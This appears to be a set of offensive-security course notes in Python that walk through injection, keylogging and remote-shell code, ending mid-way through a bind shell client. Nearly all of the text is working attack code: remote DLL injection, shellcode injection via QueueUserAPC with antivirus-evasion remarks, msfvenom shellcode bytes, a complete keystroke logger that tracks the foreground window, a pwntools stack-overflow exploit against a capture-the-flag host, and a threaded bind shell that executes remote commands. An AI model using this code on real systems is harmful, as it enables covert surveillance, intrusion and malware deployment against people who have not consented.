0406 | Python Projects
Remote DLL Injection
-
Remote DLL Injection Steps
- Step-1 | allocate memory in a remote process
- Step-2 | write a DLL location into that remote memory
- Step-3 | have the external process load that DLL using load library
-
"hello_world.c" | to demonstrate dll injection
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"Hello world!", L"Hello World!", NULL)
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
} -
Note | Loading and Retesting
- you can only load the ddl into the process ONCE using load library
- if you want to retest a new injection --> you will need to choose a different process id each time you run your script
-
Project#1 Source Code | "Project1.py" | (play around with commenting/uncommenting as you see fit)
from ctypes import *
from ctypes import wintypes
print("-"*80)
## --------------- CONSTANTS AND VARIABLES --------------- ##
kernel32 = windll.kernel32
LPCTSTR = c_char_p
SIZE_T = c_size_t
## --------------- FUNCTION DEFINITIONS --------------- ##
## -- Function definitions -- OpenProcess -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
processthreadsapi/nf-processthreadsapi-openprocess"""
OpenProcess = kernel32.OpenProcess
OpenProcess.argtypes = (wintypes.DWORD, wintypes.BOOL, wintypes.DWORD)
OpenProcess.restype = wintypes.HANDLE
## -- Function definitions -- Virtual Alloc Ex -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
memoryapi/nf-memoryapi-virtualallocex"""
VirtualAllocEx = kernel32.VirtualAllocEx
VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.DWORD)
VirtualAllocEx.restype = wintypes.LPVOID
## -- Function definitions -- Write Process Memory -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
memoryapi/nf-memoryapi-writeprocessmemory"""
WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = (wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, SIZE_T, POINTER(SIZE_T))
WriteProcessMemory.restype = wintypes.BOOL
## -- Function definitions -- Get Module Handle A -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
libloaderapi/nf-libloaderapi-getmodulehandlea"""
GetModuleHandle = kernel32.GetModuleHandleA
GetModuleHandle.argtypes = (LPCSTR, )
GetModuleHandle.restype = wintypes.HANDLE
## -- Function definitions -- Get Proc Address -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
libloaderapi/nf-libloaderapi-getprocaddress"""
GetProcAddress = kernel32.GetProcAddress
GetProcAddress.argtypes = (wintypes.HANDLE, wintypes.LPCTSTR)
GetProcAddress.restype = wintypes.LPVOID
## -- Function definitions -- Create Remote Thread -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
processthreadsapi/nf-processthreadsapi-createremotethread"""
CreateRemoteThread = kernel32.CreateRemoteThread
# Security Attributes Structure
"""https://learn.microsoft.com/en-us/previous-versions/windows/desktop/
legacy/aa379560(v=vs.85)"""
class _SECURITY_ATTRIBUTES(Structure):
_fields_ = [('nLength', wintypes.DWORD),
('lpSecurityDescriptor', wintypes.LPVOID),
('bInheritHandle', wintypes.BOOL),]
SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES
LPSECURITY_ATTRIBUTES = POINTER(_SECURITY_ATTRIBUTES)
LPTHREAD_START_ROUTINE = wintypes.LPVOID
CreateRemoteThread = kernel32.CreateRemoteThread
CreateRemoteThread.argtypes = (wintypes.HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, wintypes.LPVOID, wintypes.DWORD, wintypes.LPDWORD)
CreateRemoteThread.restype = wintypes.HANDLE
## --------------- CONSTANTS FOR WORKING WITH MEMORY --------------- ##
# VirtualAllocEx -- flAllocationType
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
# VirtualAllocEx -- flProtect
PAGE_READWRITE = 0x04
# CreateRemoteThread -- dwCreationFlags
EXECUTE_IMMEDIATELY = 0x0
# OpenProcess -- dwDesiredAccess
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0x00000FFF)
## ----- INJECTING THE DLL -- Setting up the DLL's----- ##
# use *hello_world.c* and it's compiled dll to demonstrate dll injection
# attach the dll in the remote process --> launch message box
# specify where the compiled DLL is located
dll = b"c:\\Users\\user\\Documents\\pyhton201\\hello_world.dll"
# NOTE -- to inject the dll into a remote process we need to know that
# -- that process's id
# Sacrificial Process -- Start notepad -- to inject an already running process
# -- alternatively, we could start a new process an inject that
# -- use task manager to find out the process id
pid = 2160
# opening a handle to the sacrificial process
# -- dwDesiredAccess; bInheritHandle; dwProcessId
handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
if not handle:
raise WinError()
# handle to the sacrificial process -- notepad
print("Handle obtained => {0:X}".format(handle))
print("-"*80)
## ----- INJECTING THE DLL -- Create Memory in the Remote Process ----- ##
# VirtualAllocEx -- similar to VirtualAlloc -- but, we can specify an other
# -- process in which to create memory
# create remote memory
remote_memory = VirtualAllocEx(handle, False, len(dll) +1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
if not remote_memory:
raise WinError()
print("Memory allocated => ", hex(remote_memory))
print("-"*80)
## ----- INJECTING THE DLL -- Writing to the allocated remote memory ----- ##
# write into that memory location
write = WriteProcessMemory(handle, remote_memory, dll, len(dll) + 1, None)
if not write:
raise WinError()
print("Bytes written => {}".format(dll))
# check it out via process hacker > search for "notepad" > go to the address
# -- you should see the dll's location (c:\users\...\hello_world.dll) written
# -- into the remote processes memory that we allocated
print("-"*80)
## ----- INJECTING THE DLL -- Loading the DLL ----- ##
# start a new thread to load the dll
# -- 1st -- we need the location of load library A --> GetProcAddress
# -- & GetModuleHandle
# load the library address
load_lib = GetProcAddress(GetModuleHandle(b"kernel32.dll"), b"LoadLibraryA")
# check the address
print("LoadLibrary address => ", hex(load_lib))
print("-"*80)
## ----- INJECTING THE DLL -- START THE REMOTE THREAD ----- ##
rthread = CreateRemoteThread(handle, None, 0, load_lib, remote_memory, EXECUTE_IMMEDIATELY, None)
# once you run it --> you should see the "hello world!" message box popping up
# -- within the notepad process
# check the modules loaded by the notepad process with process hacker
# process hacker > notepad > modules
# NOTE -- you can only load the ddl into the process ONCE using load library
# -- if you want to retest a new injection -->
# -- you will need to choose a different process id each time you run
# -- your script
print("-"*80)
## ----- CLEANING UP AFTER OURSELVES ----- ##
# VirtualFreeEx
# CloseHandle
print("-"*80)
## --------------- END --------------- ##
Process Creation and Shellcode Execution (pt1)
-
Note | Project1 vs Project2
- rather than injecting a dll into a remote process, we are instead going to directly inject and execute shellcode
- before | we used an existing process id in order to perform the injection
-
here | we will instead be starting our own process and then injecting directly into that
-
Takeaway
- how to create a process and use different techniques to inject shellcode into that process
CreateRemoteThread
is traditionally the most common approach to perform process injection | therefore the easiest to identify and detectQueueUserAPC
is less suspicious if you want to be more stealthy
-
Project#2 Source Code | project2.py | (play around with commenting/uncommenting as you see fit)
from ctypes import *
from ctypes import wintypes
import subprocess
print("-"*80)
## --------------- DEFINING THE CONSTANTS --------------- ##
kernel32 = windll.kernel32
SIZE_T = c_size_t
LPSTR = POINTER(c_char)
LPBYTE = POINTER(c_ubyte)
## --------------- CONSTANTS FOR WORKING WITH MEMORY --------------- ##
# VirtualAllocEx -- flAllocationType
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
# VirtualAllocEx -- flProtect
# -- in the demo
# PAGE_READWRITE = 0x04
PAGE_READWRITE = wintypes.ULONG(0x04)
# CreateRemoteThread -- dwCreationFlags
EXECUTE_IMMEDIATELY = 0x0
# OpenProcess -- dwDesiredAccess
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0x00000FFF)
## --------------- DEFINING THE FUNCTIONS -- OLD --------------- ##
## -- Function definitions -- Virtual Alloc Ex -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
memoryapi/nf-memoryapi-virtualallocex"""
VirtualAllocEx = kernel32.VirtualAllocEx
VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.DWORD)
VirtualAllocEx.restype = wintypes.LPVOID
## -- Function definitions -- Write Process Memory -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
memoryapi/nf-memoryapi-writeprocessmemory"""
WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = (wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, SIZE_T, POINTER(SIZE_T))
WriteProcessMemory.restype = wintypes.BOOL
# Security Attributes Structure
"""https://learn.microsoft.com/en-us/previous-versions/windows/desktop/
legacy/aa379560(v=vs.85)"""
class _SECURITY_ATTRIBUTES(Structure):
_fields_ = [('nLength', wintypes.DWORD),
('lpSecurityDescriptor', wintypes.LPVOID),
('bInheritHandle', wintypes.BOOL),]
SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES
LPSECURITY_ATTRIBUTES = POINTER(_SECURITY_ATTRIBUTES)
LPTHREAD_START_ROUTINE = wintypes.LPVOID#
## --------------- DEFINING THE FUNCTIONS -- NEW --------------- ##
## -- Function definitions -- Virtual Protect Ex -- ##
"""https://learn.microsoft.com/en-us/windows/win32/api/
memoryapi/nf-memoryapi-virtualprotectex"""
VirtualProtectEx = kernel32.VirtualAllocEx
VirtualProtectEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.LPDWORD)
VirtualProtectEx.restype = wintypes.BOOL
## --------------- Utility functions -- debugging --------------- ##
# to help with error checking
def verify(x):
if not x:
raise WinError()
## --------------- Create the ShellCode to inject --------------- ##
# NOTE -- use the metasploit framework to create a simple "hello world" shellcode
# -- create it on kali -- -f:output format -- python
# -- `msfvenom -a x64 -p windows/x64/messagebox TITLE=hello TEXT=world -f py`
buf = b""
buf += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00"
buf += b"\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65"
buf += b"\x48\x8b\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b"
buf += b"\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a"
buf += b"\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02"
buf += b"\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
buf += b"\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
buf += b"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
buf += b"\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44"
buf += b"\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e"
buf += b"\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31"
buf += b"\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75"
buf += b"\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6"
buf += b"\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
buf += b"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e"
buf += b"\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e"
buf += b"\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20"
buf += b"\x41\x52\xff\xe0\x58\x41\x59\x5a\x3e\x48\x8b\x12"
buf += b"\xe9\x49\xff\xff\xff\x5d\x3e\x48\x8d\x8d\x1a\x01"
buf += b"\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5\x49\xc7"
buf += b"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
buf += b"\x00\x3e\x4c\x8d\x85\x14\x01\x00\x00\x48\x31\xc9"
buf += b"\x41\xba\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41"
buf += b"\xba\xf0\xb5\xa2\x56\xff\xd5\x77\x6f\x72\x6c\x64"
buf += b"\x00\x68\x65\x6c\x6c\x6f\x00\x75\x73\x65\x72\x33"
buf += b"\x32\x2e\x64\x6c\x6c\x00"
## --------------- CREATING OUR OWN PROCESS --------------- ##
# NOTE -- if using the SubProcess module -- to create a process and the process id
# -- but can be limiting: starting the process hidden or controlling which dlls are
# -- attached to the process -- it can become more difficult
# process = subprocess.Popen(["notepad.exe"])
# print("Starting process with PID => {}".format(process.pid))
# NOTE -- Use Create Process instead
## -- Function definitions -- Create Process A -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
processthreadsapi/nf-processthreadsapi-createprocessa"""
# Defining new Structures -- lpStartupInfo; lpProcessInformation
# convert them to python
# STARTUPINFOA
class STARTUPINFO(Structure):
_fields_ = [("cb", wintypes.DWORD),
("lpReserved", wintypes.LPSTR),
("lpDesktop", wintypes.LPSTR),
("lpTitle", wintypes.LPSTR),
("dwX", wintypes.DWORD),
("dwY", wintypes.DWORD),
("dwXSize", wintypes.DWORD),
("dwYSize", wintypes.DWORD),
("dwXCountChars", wintypes.DWORD),
("dwYCountChars", wintypes.DWORD),
("dwFillAttribute", wintypes.DWORD),
("dwFlags", wintypes.DWORD),
("wShowWindow", wintypes.WORD),
("cbReserved2", wintypes.WORD),
("lpReserved2", LPBYTE),
("hStdInput", wintypes.HANDLE),
("hStdOutput", wintypes.HANDLE),
("hStdError", wintypes.HANDLE),]
# PROCESS_INFORMATION
class PROCESS_INFORMATION(Structure):
_fields_ = [("hProcess", wintypes.HANDLE),
("hThread", wintypes.HANDLE),
("dwProcessId", wintypes.DWORD),
("dwThreadId", wintypes.DWORD)]
CreateProcessA = kernel32.CreateProcessA
CreateProcessA.argtypes = (wintypes.LPCSTR, wintypes.LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, wintypes.BOOL, wintypes.DWORD, wintypes.LPVOID, wintypes.LPCSTR, POINTER(STARTUPINFO), POINTER(PROCESS_INFORMATION))
CreateProcessA.restype = wintypes.BOOL
# preparing variables
startup_info = STARTUPINFO()
startup_info.cb = sizeof(startup_info)
startup_info.dwFlags = 1
# SW_SHOWNORMAL -- if you want to be more malicious --> SW_HIDE -- 0
startup_info.wShowWindow = 1
process_info = PROCESS_INFORMATION()
# process creation flags
"""https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags"""
CREATE_NEW_CONSOLE = 0x00000010
CREATE_NO_WINDOW = 0x08000000
CREATE_SUSPENDED = 0x00000004
# create our own process which we can inject
# -- pop up the window
# created = CreateProcessA(b"C:\\Windows\\System32\\notepad.exe", None, None, None, False, CREATE_NEW_CONSOLE, None, None, byref(startup_info), byref(process_info))
# -- suspend and no window
created = CreateProcessA(b"C:\\Windows\\System32\\notepad.exe", None, None, None, False, CREATE_SUSPENDED | CREATE_NO_WINDOW, None, None, byref(startup_info), byref(process_info))
verify(created)
pid = process_info.dwProcessId
h_process = process_info.hProcess
thread_id = process_info.dwThreadId
h_thread = process_info.hThread
print("Started process => Handle:{}, PID:{}, TID:{}".format(h_process, pid, thread_id))
## --------------- ALLOCATING THE MEMORY IN THE REMOTE PROCESS --------------- ##
# NOTE -- rather than creating suspicious read-write-execute memory (like before)
# -- instead create ONLY read-write memory
# -- we will need to change the memory protections later to execute code from
# -- within this memory
# throws an error -> ctypes.ArgumentError -- TypeError --
remote_memory = VirtualAllocEx(h_process, False, len(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
# check for errors
verify(remote_memory)
print("Memory allocated => ", hex(remote_memory))
# write the shellcode into the remote process
write = WriteProcessMemory(h_process, remote_memory, buf, len(buf), None)
verify(write)
print("Bytes written => {}".format(len(buf)))
# check with process hacker -- search for notepad > memory regions
# -- > shellcode should be written to the allocated memory
# NOTE -- the memory is currently only RW --> we can't execute it
# -- use VirtualProtectEx to change it to RX (read-execute)
# REASON -- RWX memory can be an indicator of compromise for AV products
PAGE_EXECUTE_READ = 0x20
old_protection = wintypes.DWORD(0)
protect = VirtualProtectEx(h_process, remote_memory, len(buf), PAGE_EXECUTE_READ, byref(old_protection))
verify(protect)
print("Memory protection updated from {} to {}".format(old_protection.value, PAGE_EXECUTE_READ))
# make sure in process hacker, that the memory region was trully updated
## --------------- PERFORMING THE EXECUTION --------------- ##
# COMMENT -- because of rqueue
# # perform the actual execution
# rthread = CreateRemoteThread(h_process, None, 0, remote_memory, None, EXECUTE_IMMEDIATELY, None)
# verify(rthread)
# # hello world pop up --> coming from the started process
# an application-defined completion routine -- defines a pointer to the callback function
PAPCFUNC = CFUNCTYPE(None, POINTER(wintypes.ULONG))
# NOTE -- to perform the same code execution output we did with createremotethread -- but
# -- it is a less suspicious function call
QueueUserAPC = kernel32.QueueUserAPC
QueueUserAPC.argtypes = (PAPCFUNC, wintypes.HANDLE, POINTER(wintypes.ULONG))
QueueUserAPC.restype = wintypes.BOOL
# NOTE -- to continue our suspended thread
ResumeThread = kernel32.ResumeThread
ResumeThread.argtypes = (wintypes.HANDLE, )
ResumeThread.restype = wintypes.BOOL
# NOTE -- queue our procedure
# -- the function/procedure we want to execute is just the location in memory
# -- where our shellcode sits
rqueue = QueueUserAPC(PAPCFUNC(remote_memory), h_thread, None)
verify(rqueue)
print("Queuing APC thread => {}".format(h_thread))
# no code execution -- thread is still suspended
# NOTE -- resume and change the thread state to be running
# -- once it is resumed -> execute the procedure call which is our shell code
# -- and then terminate itself
# DEMO -- kill all the notepad processes
rthread = ResumeThread(h_thread)
verify(rthread)
print("Resuming thread!")
print("-"*80)
## --------------- END --------------- ##
Keylogging a System
-
Idea | implement a local keylogger
- use a number of win32 api functions to set up a keyboard hook
- use a windows hook to intercept
read
andprocess
keyboard input events | create a keylogger
-
Project#3 Source Code | "project3.py" | (play around with commenting/uncommenting as you see fit)
from ctypes import *
from ctypes import wintypes
print("-"*80)
## --------------- VARIABLES AND CONSTANTS --------------- ##
user32 = windll.user32
LRESULT = c_long
# specify the type of hook to be used -- SetWindowHookExA -- idHook
WH_KEYBOARD_LL = 13
# key codes -- to interpret the data
WM_KEYDOWN = 0x0100
WM_RETURN = 0x0D
WM_SHIFT = 0x10
## --------------- FUNCTION DEFINITIONS FOR API CALLS --------------- ##
## -- Functions -- GetWindowTextLenghtA -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
winuser/nf-winuser-getwindowtextlengtha"""
GetWindowTextLengthA = user32.GetWindowTextLengthA
GetWindowTextLengthA.argtypes = (wintypes.HANDLE, )
GetWindowTextLengthA.restype = wintypes.INT
## -- Functions -- GetWindowTextA -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
winuser/nf-winuser-getwindowtexta"""
GetWindowTextA = user32.GetWindowTextA
GetWindowTextA.argtypes = (wintypes.HANDLE, wintypes.LPSTR, wintypes.INT)
GetWindowTextA.restype = wintypes.INT
## -- Functions -- GetKeyState -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
winuser/nf-winuser-getkeystate"""
GetKeyState = user32.GetKeyState
GetKeyState.argtypes = (wintypes.INT, )
GetKeyState.restype = wintypes.SHORT
## -- Functions -- GetKeyboardState -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
winuser/nf-winuser-getkeyboardstate"""
# The 256-byte array that receives the status data for each virtual key.
keyboard_state = wintypes.BYTE * 256
GetKeyboardState = user32.GetKeyboardState
GetKeyboardState.argtypes = (POINTER(keyboard_state), )
GetKeyboardState.restype = wintypes.BOOL
## -- Functions -- ToAscii -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
winuser/nf-winuser-toascii"""
ToAscii = user32.ToAscii
ToAscii.argtypes = (wintypes.UINT, wintypes.UINT, POINTER(keyboard_state), wintypes.LPWORD, wintypes.UINT)
ToAscii.restype = wintypes.INT
## -- Functions -- CallNextHookEx -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
winuser/nf-winuser-callnexthookex"""
CallNextHookEx = user32.CallNextHookEx
CallNextHookEx.argtypes = (wintypes.HHOOK, wintypes.INT, wintypes.WPARAM, wintypes.LPARAM)
CallNextHookEx.restype = LRESULT
## -- Functions -- SetWindowsHookExA -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
winuser/nf-winuser-setwindowshookexa"""
# HOOKPROC callback function
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
winuser/nc-winuser-hookproc"""
HOOKPROC = CFUNCTYPE(LRESULT, wintypes.INT, wintypes.WPARAM, wintypes.LPARAM)
SetWindowsHookExA = user32.SetWindowsHookExA
SetWindowsHookExA.argtypes = (wintypes.INT, HOOKPROC, wintypes.HINSTANCE, wintypes.DWORD)
SetWindowsHookExA.restype = wintypes.HHOOK
## -- Functions -- GetMessage -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
winuser/nf-winuser-getmessage"""
GetMessageA = user32.GetMessageA
GetMessageA.argtypes = (wintypes.LPMSG, wintypes.HWND, wintypes.UINT, wintypes.UINT)
GetMessageA.restype = wintypes.BOOL
## --------------- STRUCTURES --------------- ##
## -- Structure -- KBDLLHOOKSTRUCT -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
winuser/ns-winuser-kbdllhookstruct"""
# Contains information about a low-level keyboard input event.
# NOTE -- we will populate this structure as part of our hook
# -- and we can then use the data in the structure to identify which key has
# -- been pressed by the user
class KBDLLHOOKSTRUC(Structure):
_fields_ = [("vkCode", wintypes.DWORD),
("scanCode", wintypes.DWORD),
("flags", wintypes.DWORD),
("time", wintypes.DWORD),
("dwExtraInfo", wintypes.DWORD)]
## --------------- Identifying the user's current process --------------- ##
# NOTE -- when performing keylogging, it is useful to know the process
# -- the user is typing in --> use the win32 api to get information about
# -- this foreground process
# NOTE -- forground window -- just the window with which the user is
# -- currently working
## -- Functions -- GetForegroundWindow -- ##
"""url:https://learn.microsoft.com/en-us/windows/win32/api/
winuser/nf-winuser-getforegroundwindow"""
def get_foreground_process():
hwnd = user32.GetForegroundWindow()
# to retrieve the length, in characters, of the specified window's title bar text
# REASON -- we want to know which process (based on it's text) the user
# -- is currently writing in
length = GetWindowTextLengthA(hwnd)
# copy the text of the specified window's title bar into a buffer
buff = create_string_buffer(length + 1)
GetWindowTextA(hwnd, buff, length + 1)
# the value that has been written into the buffer
return buff.value
# # Test it out -- we receive information about the foreground process we are
# # -- currently working in -- "b'C:\\Windows\\system32\\cmd.exe - python project3.py'"
# print(get_foreground_process())
## --------------- SETTING UP THE HOOK --------------- ##
# NOTE -- set up the hook to start the keylogger
# hook procedure -- to actually hook and handle keyboard events
def hook_function(nCode, wParam, lParam):
global last
# update if not the last
if last != get_foreground_process():
last = get_foreground_process()
print("\n[{}]".format(last.decode("latin-1 ")))
# THE KEYLOGGER HANDLER
# passed value is the keyboard downcode
# checking whether a key has been pressed --> if has been, take the value and
# -- store in the hookstruct
if wParam == WM_KEYDOWN:
keyboard = KBDLLHOOKSTRUC.from_address(lParam)
# create a state variable to actually hold the state to all of the
# -- 256 potential virtual keys
state = (wintypes.BYTE * 256)()
# check whether shift was pressed
GetKeyState(WM_SHIFT)
# copy the status fo the 256 virtual keys
GetKeyboardState(byref(state))
# single buffer to hold the single char
buf = (c_ushort * 1)()
# check which key the user actually pressed
# ToAscii -- translate the specified virtual-key code and keyboard state to the
# -- corresponding character/s
n = ToAscii(keyboard.vkCode, keyboard.scanCode, state, buf, 0)
# 0:no translation; 1: one char -- 2: two chars
if n > 0:
# enter pressed
if keyboard.vkCode == WM_RETURN:
print()
else:
# returns the c-string starting at the memory address as a bytes object
print("{}".format(string_at(buf).decode("latin-1")), end="", flush=True)
# pass the hook information to the next hook procedure in the current hook chain
return CallNextHookEx(hook, nCode, wParam, lParam)
# global var -- to keep track of the last foreground process we saw
last = None
# lpfn -- pointer to the hook procedure
callback = HOOKPROC(hook_function)
# create the hook
# -- idHook -- the type of hook procedure to be installed
# -- lpfn -- pointer to the hook procedure
# -- hmod -- we do NOT have a DLL here --> NULL
# -- dwThreadId -- do NOT have an identifier --> 0
hook = SetWindowsHookExA(WH_KEYBOARD_LL, callback, 0, 0)
# retrieve a message from the calling thread's message queue
GetMessageA(byref(wintypes.MSG()), 0, 0, 0)
# DEMO -- once run -- everything we type into sublime is captured
# -- and displayed on the cmd -- even letters typed with shift
# -- Even when we change the process to notepad -- it will automatically switch
# -- over and capture text from there
# -- The same will happen if we search for something in firefox
print("-"*80)
## --------------- END --------------- ##
Buffer Overflow
-
Demo | on kali | binary from 247ctf.com
247ctf.com/dashboard
> "PWNABLE" > "AN EXECUTABLE STACK"
-
Challenge | a classic overflow with an executable stack
-
Preparing the Challenge
unzip <challenge>.zip
chmox +x executable_stack -
Project#4 Source Code | project4.py | (play around with commenting/uncommenting as you see fit)
from pwn import *
import sys
# CHALLENGE -- a classic overflow with and executable stack
# SOLUTION -- overwrite the instruction pointer and then return
# -- to the stack in esp, which is where the shellcode is stored
# -- because it's the next item on the stack
print("-"*80)
## --------------- SETTING UP THE CONTEXT --------------- ##
# check it with -- `file executable_stack` -- 32bit binary
context.update(arch='i386', os='linux')
# specify the process
io = process("./executable_stack")
## --------------- STEP 1 -- FINDING THE OFFSET --------------- ##
# NOTE -- use a cyclic, debro*n pattern to find our offsets
"""
# use gdb to verify it
gdb.attach(io, 'continue')
# create the cyclic pattern
pattern = cyclic(512)
# send it to the binary
io.sendline(pattern)
# pause execution
pause()
sys.exit()
"""
## CHECK which value landed in the eip
# once run -- gdb will start -- to check segmentation fault -- `i r`
# copy the value for the eip
## DETERMINE the offset
# launch pyhton in interactive mode
# use `from pwn import *`
# use `cyclic_find(<hex-value-from-eip>)` to find the offset
# copy the offset -- in demo:140
## --------------- STEP 2 -- IDENTIFY how to jump to ESP --------------- ##
# once the offset is identified -- identify how to jump to esp
# -- which is the location where our shellcode will be in memory
# OVERVIEW -- load the binary as an elf and search for a jump esp instruction
bin = ELF("./executable_stack")
jmp_esp = next(binary.search(asm("jmp esp")))
# verify instruction is found
print(hex(jmp_esp))
## --------------- STEP 3 -- EXPLOITATION --------------- ##
exploit = flat(["A" * 140, pack(jmp_esp), asm(shellcraft.sh())])
# exploit locally
io.sendline(exploit)
io.interactive()
# NOTE -- once run -- use `id` to verify
## VERIFYING IT ON THE SERVER
# from the example
io = remote("54971bfe93412fba.247ctf.com", 50468)
# check for flags on the remote host -- `ls`
print("-"*80)
## -------------------- END -------------------- ##
Encrypted Bind Shell
-
General | Bind Shell
- in this case is just a socket, which we can connect to in order to execute commands on a system via the network
-
Project#5 Source Code | Unencrypted Version | "project5.py" | (play around with commenting/uncommenting as you see fit)
import socket, subprocess, threading, argparse
print("-"*80)
## --------------- CONSTANTS AND VARIABLES --------------- ##
DEFAULT_PORT = 1234
# max buffer size for the socket
MAX_BUFFER = 4096
## --------------- UTILITIES --------------- ##
# execute a command
def execute_cmd(cmd):
try:
output = subprocess.check_output("cmd /c {}".format(cmd), stderr=subprocess.STDOUT)
except:
output = b"Command failed!"
return output
# test it -- works
# print(execute_cmd("whoami"))
# test it -- fails
# print(execute_cmd("whoaaasdmi"))
# decoding and stripping data
def decode_and_strip(s):
return s.decode("latin-1").strip()
## ----- THREAD CAPABLE FUNCTIONS -- Executing commands ----- ##
# NOTE -- the thread that will handle new user connections
# -- threading, because we want to be able to have more than one user connect
# -- to the bind shell and use it
# s:socket as a parameter
def shell_thread(s):
# when first connected -- tell the user
s.send(b"[ -- Connected! --]")
try:
# infinite loop -- waiting for command from the user
while True:
s.send(b"\r\nEnter Command> ")
# receive data up to the maximum buffer size
data = s.recv(MAX_BUFFER)
if data:
buffer = decode_and_strip(data)
# nothing has been sent | exit
if not buffer or buffer == "exit":
# close the socket
s.close()
exit()
print("> Executing command: '{}'".format(buffer))
# send through the socket
# execute the command and send the result back to the user
# -- over the socket
s.send(execute_cmd(buffer))
except:
# if error occurs -- close the socket
s.close()
exit()
## ----- THREAD CAPABLE FUNCTIONS -- Sending data ----- ##
# NOTE -- needed functionalities -- dual functionality
# -- to listen and accept connection AND to initiate connections
# -- basically, we need to be able to run our script in both server and client
# -- modes -- depending on how we start the script
# s:socket
def send_thread(s):
try:
while True:
# accept data from the user on the cmd line
data = input() + "\n"
# send that data over the socket
s.send(data.encode("latin-1"))
except:
# do it till some error occurs
s.close()
exit()
## ----- THREAD CAPABLE FUNCTIONS -- Receiving data ----- ##
# s:socket
def recv_thread(s):
try:
while True:
data = decode_and_strip(s.recv(MAX_BUFFER))
if data:
print("\n" + data, end="", flush=True)
except:
s.close()
exit()
## --------------- SERVER FUNCTIONS --------------- ##
# IDEA -- when the server receives a connection, it will give the user
# -- the ability to execute commands as if they have just opened
# -- a cmd.exe terminal on their machine
def server():
# setting up the socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# bind to our default port
s.bind(("0.0.0.0", DEFAULT_PORT))
# listen for connections
s.listen()
print("[ -- Starting bind shell! -- ]")
# wait for our connections to come in
while True:
client_socket, addr = s.accept()
print("[ -- New user connected! -- ]")
# when new connection --> start a new thread
# -- pass the client socket as an argument
threading.Thread(target=shell_thread, args=(client_socket,)).start()
## --------------- CLIENT FUNCTIONS --------------- ##
# ip:ip address to connect to
def client(ip):
# create the socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to that host on the default port
s.connect((ip, DEFAULT_PORT))
print("[ -- Connecting to bind shell! -- ]")
# already connected --> start up both the send and the receive threads
# -- so that we are not stuck or blocked while waiting
# -- to send or receiving data
# set up and start the send thread
threading.Thread(target=send_thread, args=(s,)).start()
# set up and start the receive thread
